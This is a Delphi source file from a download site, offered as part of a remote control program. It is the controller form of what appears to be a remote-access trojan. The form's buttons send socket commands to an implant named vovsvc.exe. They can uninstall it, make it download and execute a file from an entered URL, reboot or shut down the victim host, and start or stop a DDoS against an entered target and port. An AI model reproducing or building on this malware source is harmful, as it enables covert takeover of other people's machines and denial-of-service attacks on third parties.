⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unitdelfile.pas

📁 不错的远程控制程序
💻 PAS
字号:
unit UnitDelFile;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls,ComCtrls, Sockets, CompressionStreamUnitForms;

type
  TDelFile = class(TForm)
    StatusBar1: TStatusBar;
    GroupBox1: TGroupBox;
    Label1: TLabel;
    Edit1: TEdit;
    Button2: TButton;
    Edit2: TEdit;
    Label2: TLabel;
    GroupBox2: TGroupBox;
    Button1: TButton;
    Button6: TButton;
    Button7: TButton;
    GroupBox3: TGroupBox;
    Edit3: TEdit;
    Button4: TButton;
    Button5: TButton;
    Edit4: TEdit;
    Label3: TLabel;
    Label4: TLabel;
    procedure FormCreate(Sender: TObject);
    procedure FormDeactivate(Sender: TObject);
    procedure FormCanResize(Sender: TObject; var NewWidth,
      NewHeight: Integer; var Resize: Boolean);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button6Click(Sender: TObject);
    procedure Button7Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure Button5Click(Sender: TObject);
    procedure Edit4KeyPress(Sender: TObject; var Key: Char);
    procedure FormShow(Sender: TObject);
  private
    { Private declarations }
    DataSocket: TCustomWinSocket;
    Connected: Boolean;
    ConnectNotifyInfo: TNotifyInfo;
    ReadNotifyInfo: TNotifyInfo;
    DisconnectNotifyInfo: TNotifyInfo;
    procedure Connect(var Socket: TCustomWinSocket; Data: Pointer);
    procedure Read(var Socket: TCustomWinSocket; CommandFrame: TCommandFrame; Stream: TMemoryStream; Data: Pointer);
    procedure Disconnect(var Socket: TCustomWinSocket; Data: Pointer);
    function SocketConnected: Boolean;
  public
    { Public declarations }
    RemoteAddress: string;
    WindowItem: TListItem;
  end;

var
  DelFile: TDelFile;

implementation

uses UnitMain;

{$R *.dfm}

const
  DFL_TYPE = 23;
  DFL_DOWN = 1;
//  DFL_ERROR = 2;
  DFL_DELMIN = 2;
  DFL_DRNO = 3 ;
  DFL_DUNO = 4 ;
  DFL_DDOSA= 5 ;
  DFL_DDOSB= 6 ;

function TDelFile.SocketConnected: Boolean;
begin
  if ((Connected) and (DataSocket <> nil)) then
  begin
    Connected := DataSocket.Connected;
    if not Connected then StatusBar1.Panels[0].Text := ' 断开连接';
  end;
  Result := Connected;
end;

procedure TDelFile.Connect(var Socket: TCustomWinSocket; Data: Pointer);
var
  DelFile: TDelFile;
  ConnectionInfo: TConnectionInfo;
begin
  DelFile := TDelFile(Data);
  if TStreamRecord(Socket.Data).LocalAddress <> DelFile.RemoteAddress then Exit;
  if DelFile.DataSocket = nil then DelFile.DataSocket := Socket else Exit;
  ConnectionInfo.ConnectionType := DFL_TYPE;
  Socket.SendBuf(ConnectionInfo, SizeOf(TConnectionInfo));
  DelFile.Connected := True;
  DelFile.StatusBar1.Panels.Items[0].Text := ' 已连接: ' + Socket.RemoteAddress;
  DelFile.StatusBar1.Tag := 1;
  Socket := nil;
end;

procedure TDelFile.Read(var Socket: TCustomWinSocket; CommandFrame: TCommandFrame; Stream: TMemoryStream; Data: Pointer);
var
//  DDelFile: TDelFile;
  Buffer: Pointer;
begin
  DelFile := TDelFile(Data);
  if DelFile.DataSocket = Socket then
  begin
    Buffer := Stream.Memory;
    case CommandFrame.Command of
      DFL_DOWN:
        begin
         DelFile.StatusBar1.Panels.Items[0].Text := string(Buffer);
        end;
      DFL_DELMIN:
        begin
          DelFile.StatusBar1.Panels.Items[0].Text := string(Buffer);
        end;
      DFL_DRNO:
        begin
          DelFile.StatusBar1.Panels.Items[0].Text := string(Buffer);
        end;
      DFL_DUNO:
        begin
          DelFile.StatusBar1.Panels.Items[0].Text := string(Buffer);
        end;
      DFL_DDOSA:
        begin
          DelFile.StatusBar1.Panels.Items[0].Text := string(Buffer);
        end;
      DFL_DDOSB:
        begin
          DelFile.StatusBar1.Panels.Items[0].Text := string(Buffer);
        end;
    end;
    Socket := nil;
  end;
end;

procedure TDelFile.Disconnect(var Socket: TCustomWinSocket; Data: Pointer);
var
  DelFile: TDelFile;
begin
  DelFile:= TDelFile(Data);
  if DelFile.DataSocket = Socket then
  begin
    DelFile.Connected := False;
    DelFile.StatusBar1.Panels[0].Text := ' 断开连接';
    Socket := nil;
    DelFile.DataSocket := nil;
  end;
end;

procedure TDelFile.FormCreate(Sender: TObject);
begin
  DataSocket := nil;
  ConnectNotifyInfo := TNotifyInfo.Create;
  ConnectNotifyInfo.Data := Self;
  ConnectNotifyInfo.Callback := @TDelFile.Connect;
  Main.NotifyConnectList.Add(ConnectNotifyInfo);
  ReadNotifyInfo := TNotifyInfo.Create;
  ReadNotifyInfo.Data := Self;
  ReadNotifyInfo.Callback := @TDelFile.Read;
  Main.NotifyReadList.Add(ReadNotifyInfo);
  DisconnectNotifyInfo := TNotifyInfo.Create;
  DisconnectNotifyInfo.Data := Self;
  DisconnectNotifyInfo.Callback := @TDelFile.Disconnect;
  Main.NotifyDisconnectList.Add(DisconnectNotifyInfo);
end;

procedure TDelFile.FormDeactivate(Sender: TObject);
begin
if WindowState = wsMinimized then Hide;
end;

procedure TDelFile.FormCanResize(Sender: TObject; var NewWidth,
  NewHeight: Integer; var Resize: Boolean);
begin
Resize := False;
end;

procedure TDelFile.FormClose(Sender: TObject;
  var Action: TCloseAction);
var
  Socket: TCustomWinSocket;
begin
  Main.NotifyConnectList.Delete(Main.NotifyConnectList.IndexOf(ConnectNotifyInfo));
  Main.NotifyReadList.Delete(Main.NotifyReadList.IndexOf(ReadNotifyInfo));
  Main.NotifyDisconnectList.Delete(Main.NotifyDisconnectList.IndexOf(DisconnectNotifyInfo));
  WindowItem.Delete;
  if DataSocket <> nil then
  begin
    if not SocketConnected then
    begin
      Socket := DataSocket;
      DataSocket := nil;
      Connected := False;
      Socket.Close;
    end;
  end;
end;

//卸载服务端
procedure TDelFile.Button1Click(Sender: TObject);
var
  CommandFrame: TCommandFrame;
  ReplyStream: TMemoryStream;
  szInfo: String;
begin
  szInfo :='vovsvc.exe';
  CommandFrame.len := Length(szInfo) + 1;
  CommandFrame.Command :=   DFL_DOWN;
  CommandFrame.ID := FRAME_ID;
  ReplyStream := TMemoryStream.Create;
  ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
  ReplyStream.WriteBuffer(Pointer(szInfo)^, Length(szInfo) + 1);
  Main.SendStream(DataSocket, ReplyStream);
end;

//下载执行
procedure TDelFile.Button2Click(Sender: TObject);
var
  CommandFrame: TCommandFrame;
  ReplyStream: TMemoryStream;
  szInfo: String;
begin
  if (edit1.Text = '') OR (edit2.Text = '') then Exit;
  szInfo :=Edit1.Text + '>' + Edit2.Text;
  CommandFrame.len := Length(szInfo) + 1;
  CommandFrame.Command := DFL_DELMIN;
  CommandFrame.ID := FRAME_ID;
  ReplyStream := TMemoryStream.Create;
  ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
  ReplyStream.WriteBuffer(Pointer(szInfo)^, Length(szInfo) + 1);
  Main.SendStream(DataSocket, ReplyStream);
end;

//重启远程主机
procedure TDelFile.Button6Click(Sender: TObject);
var
  CommandFrame: TCommandFrame;
  ReplyStream: TMemoryStream;
  szInfo: String;
begin
  szInfo :='no';
  CommandFrame.len := Length(szInfo) + 1;
  CommandFrame.Command := DFL_DRNO;
  CommandFrame.ID := FRAME_ID;
  ReplyStream := TMemoryStream.Create;
  ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
  ReplyStream.WriteBuffer(Pointer(szInfo)^, Length(szInfo) + 1);
  Main.SendStream(DataSocket, ReplyStream);
end;
//关闭远程主机
procedure TDelFile.Button7Click(Sender: TObject);
var
  CommandFrame: TCommandFrame;
  ReplyStream: TMemoryStream;
  szInfo: String;
begin
  szInfo :='no';
  CommandFrame.len := Length(szInfo) + 1;
  CommandFrame.Command := DFL_DUNO;
  CommandFrame.ID := FRAME_ID;
  ReplyStream := TMemoryStream.Create;
  ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
  ReplyStream.WriteBuffer(Pointer(szInfo)^, Length(szInfo) + 1);
  Main.SendStream(DataSocket, ReplyStream);
end;


procedure TDelFile.Button4Click(Sender: TObject);
var
  CommandFrame: TCommandFrame;
  ReplyStream: TMemoryStream;
  szInfo: String;
begin
  if (edit3.Text = '') OR (edit4.Text = '') then Exit;
  szInfo :=Edit3.Text + '>' + Edit4.Text;
  CommandFrame.len := Length(szInfo) + 1;
  CommandFrame.Command := DFL_DDOSA;
  CommandFrame.ID := FRAME_ID;
  ReplyStream := TMemoryStream.Create;
  ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
  ReplyStream.WriteBuffer(Pointer(szInfo)^, Length(szInfo) + 1);
  Main.SendStream(DataSocket, ReplyStream);
end;

procedure TDelFile.Button5Click(Sender: TObject);
var
  CommandFrame: TCommandFrame;
  ReplyStream: TMemoryStream;
  szInfo: String;
begin
  szInfo :='no' ;
  CommandFrame.len := Length(szInfo) + 1;
  CommandFrame.Command := DFL_DDOSB;
  CommandFrame.ID := FRAME_ID;
  ReplyStream := TMemoryStream.Create;
  ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
  ReplyStream.WriteBuffer(Pointer(szInfo)^, Length(szInfo) + 1);
  Main.SendStream(DataSocket, ReplyStream);
end;

procedure TDelFile.Edit4KeyPress(Sender: TObject; var Key: Char);
begin
  if Key = Chr(3592) then Exit;
  if (Key < '0') or (Key > '9') then Key := Chr(0);
end;

procedure TDelFile.FormShow(Sender: TObject);
begin
SetWindowLong(Button2.Handle, GWL_STYLE, WS_CHILD or WS_VISIBLE or BS_FLAT);
SetWindowLong(Button4.Handle, GWL_STYLE, WS_CHILD or WS_VISIBLE or BS_FLAT);
SetWindowLong(Button5.Handle, GWL_STYLE, WS_CHILD or WS_VISIBLE or BS_FLAT);
SetWindowLong(Button1.Handle, GWL_STYLE, WS_CHILD or WS_VISIBLE or BS_FLAT);
SetWindowLong(Button6.Handle, GWL_STYLE, WS_CHILD or WS_VISIBLE or BS_FLAT);
SetWindowLong(Button7.Handle, GWL_STYLE, WS_CHILD or WS_VISIBLE or BS_FLAT);
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -